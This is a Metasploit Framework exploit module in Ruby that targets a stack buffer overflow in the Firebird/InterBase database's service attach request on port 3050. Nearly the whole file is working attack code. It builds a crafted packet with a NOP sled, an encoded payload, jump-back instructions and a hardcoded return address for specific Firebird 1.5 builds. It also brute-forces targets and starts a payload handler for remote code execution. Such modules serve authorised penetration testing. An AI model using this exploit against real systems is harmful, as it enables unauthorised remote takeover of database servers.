146 lines
2.6 KiB
Ruby
146 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::BruteTargets
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Firebird Relational Database SVC_attach() Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Borland InterBase
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by sending a specially crafted service attach request.
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},
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'Version' => '$Revision$',
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'Author' =>
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[
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'Ramon de Carvalho Valle <ramon@risesecurity.org>',
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'Adriano Lima <adriano@risesecurity.org>',
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'References' =>
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[
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[ 'URL', 'http://risesecurity.org/advisory/RISE-2007003/' ],
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],
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'Privileged' => true,
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'License' => MSF_LICENSE,
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'Payload' =>
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{
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'Space' => 256,
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'BadChars' => "\x00\x2f\x3a\x40\x5c",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'Brute Force', { } ],
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# 0x0040230b pop ebp; pop ebx; ret
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[
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'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',
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{ 'Length' => [ 308 ], 'Ret' => 0x0040230b }
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],
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# Debug
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[
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'Debug',
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{ 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }
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],
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],
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'DefaultTarget' => 1
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))
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register_options(
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[
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Opt::RPORT(3050)
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],
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self.class
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)
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end
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def exploit_target(target)
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target['Length'].each do |length|
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connect
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# Attach database
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op_attach = 19
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# Create database
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op_create = 20
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# Service attach
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op_service_attach = 82
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remainder = length.remainder(4)
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padding = 0
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if remainder > 0
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padding = (4 - remainder)
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end
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buf = ''
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# Operation/packet type
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buf << [op_service_attach].pack('N')
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# Id
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buf << [0].pack('N')
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# Length
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buf << [length].pack('N')
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# Nop block
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buf << make_nops(length - payload.encoded.length - 13)
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# Payload
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buf << payload.encoded
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# Jump back into the nop block
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buf << "\xe9" + [-260].pack('V')
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# Jump back
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buf << "\xeb" + [-7].pack('c')
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# Random alpha data
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buf << rand_text_alpha(2)
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# Target
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buf << [target.ret].pack('V')
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# Padding
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buf << "\x00" * padding
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# Database parameter block
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# Length
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buf << [1024].pack('N')
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# Random alpha data
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buf << rand_text_alpha(1024)
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sock.put(buf)
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#sleep(4)
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handler
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end
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end
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end |